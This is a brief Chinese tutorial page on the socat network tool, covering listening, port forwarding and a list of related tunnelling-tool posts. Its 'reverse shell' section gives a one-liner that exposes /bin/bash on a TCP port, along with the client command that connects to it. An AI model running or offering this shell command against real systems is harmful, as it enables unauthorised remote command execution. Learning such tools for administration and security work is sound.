socat 命令

  • 1.原理
  • 2.使用方式
    • 监听
    • 反弹shell
    • 端口转发

1.原理

socat是强大易用的网络工具,可以实现任意socket的转换。可以看作是 netcat 的增强版

socat 的主要特点就是 在两个数据流之间建立隧道;并且支持众多协议和链接方式:

IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等

2.使用方式

socat [options] <address> <address>

监听

socat TCP-LISTEN:12345 -         开启端口监听
socat tcp:192.168.1.1:12345 -       远程访问目的IP指定端口

反弹shell

socat TCP-LISTEN:12345 EXEC:/bin/bash
socat tcp:192.168.1.1:12345 -

端口转发

将本地 80 端口的流量 转发到远程指定端口,也就是说和目标服务器的指定端口建立一个连接

socat TCP-LISTEN:88,fork TCP:1.15.139.205:8888
echo “test” | socat tcp-connect:127.0.0.1:88 -      向本地指定端口发送信息

请求 --> 本地 88 端口 --> 远程 8888 端口

建立远程端口转发

向本地88端口发送数据,结果目标主机会出现指定信息

隧道工具——socat相关推荐

  1. DNS隧道工具dns2tcp

    DNS隧道工具dns2tcp 在很多网络环境中,防火墙会限制出站流量,主机往往只能访问外网主机有限的几个端口,如DNS的53端口.这时,就可以通过DNS请求和响应机制,建立通信隧道.Kali Linu ...

  2. ICMP隧道工具ptunnel

    ICMP隧道工具ptunnel 在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截.如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的 ...

  3. UDP转TCP隧道工具udptunnel

    UDP转TCP隧道工具udptunnel 在部分受限的网络环境中,UDP协议被受限,但TCP不受限制.Kali Linux提供一个UDP转TCP隧道工具udptunnel.该工具可以分别启动服务器端和 ...

  4. HTTP隧道工具HTTPTunnel

    HTTP隧道工具HTTPTunnel 在很多服务器上,防火墙会限制主机的出站流量,只允许80之类的端口.如果要使用其他端口,只能通过HTTP隧道方式实现.Kali Linux提供一款HTTP隧道工具H ...

  5. DNS隧道工具使用 不过其网络传输速度限制较大

    DNS隧道工具使用 http://www.freebuf.com/sectool/112076.html http://netsec.ccert.edu.cn/zhengming/2011/11/01 ...

  6. DNS隧道工具iodine

    DNS隧道工具iodine 在受限制的网络中,如果DNS请求没有被限制,就可以通过DNS请求建立隧道而突破网络限制.iodine是Kali Linux提供的一款DNS隧道工具.该工具分为服务器端iod ...

  7. DNS隧道工具汇总——补充,还有IP over DNS的工具NSTX、Iodine、DNSCat

    github上有一堆的工具:https://github.com/search?utf8=%E2%9C%93&q=DNS+tunnel+&type= DNS隧道大检阅 研究了一天的DN ...

  8. linux强大的转发工具socat

    一.介绍 socat是一个强大的转发工具,能实现不同接口间的转发,常用的文件.管道.设备(终端或调制解调器等).插座(Unix,IP4,IP6 - raw,UDP,TCP).SSL.SOCKS4客户端 ...

  9. 隧道工具proxytunnle

    proxytunnle 通过标准的HTTP / HTTPS代理创建隧道的工具 通过HTTP CONNECT方法封装信息 适用于内网使用代理并且防火墙只允许代理服务器上网的场景 无法创建DNS隧道和IC ...

最新文章

  1. 2019年计算机一级考试pdf,2019年计算机一级考试试题与答案.pdf
  2. 人文英语学习品牌「友邻优课」携手神策数据 精细化数据分析让每一次互动都有价值
  3. 从三个数组中选择满足条件的三个数
  4. Spring Boot中登录错误消息的显示
  5. 内镜碎石术装置行业调研报告 - 市场现状分析与发展前景预测
  6. Windows下给WSL子系统(Kali)换源,使用binwalk,outguess等工具
  7. html5与css3基础教程课件,揭秘HTML5和CSS3教学幻灯片.ppt
  8. 由摄像机的内参K计算视景体——glFrustum的参数推导
  9. 2021-08-01mysql外键
  10. 安卓10源码开发定制(21)GPS定位研究(3)修改GPS定位数据测试gps定位代码
  11. Android混淆篇 ijkplayer混淆
  12. 解决java.util.ConcurrentModificationException:null
  13. 给hotmail邮箱发信(status=deferred)解决办法
  14. Ehcache基本使用
  15. 计算机视觉工程师收入高吗?月薪有多少?
  16. N46期第十二周作业
  17. Win11怎么连接上校园网?
  18. Linux ❉ sudo 命令
  19. 2021-2027全球与中国半导体分立器件市场现状及未来发展趋势
  20. 微信小程序录音功能的实现:有录音、暂停、继续、停止 、播放等功能。

热门文章

  1. CI520与CV520的兼容模式研发资料
  2. 关于系统检测到您机器上没有启动QQ的解决方法
  3. 视频帧差法实例(matlab实现)
  4. 学习DVB知识的疑问与自我解答
  5. 网络---IP地址和端口
  6. 火车采集器 免费版 html标签排除,Html代码白名单过滤插件(C#)
  7. Visual C++ 2010创建Ribbon界面(上)
  8. psp能装安卓软件吗_PSP模拟器app下载2021安卓最新版_手机官方版免费安装下载_历趣...
  9. 基于 SSM 的网上购物系统(源码 + 开发文档 已开源)
  10. python遍历excel单元格内容_如何遍历excel文件获取单元格内容并在websi上以表单形式编写...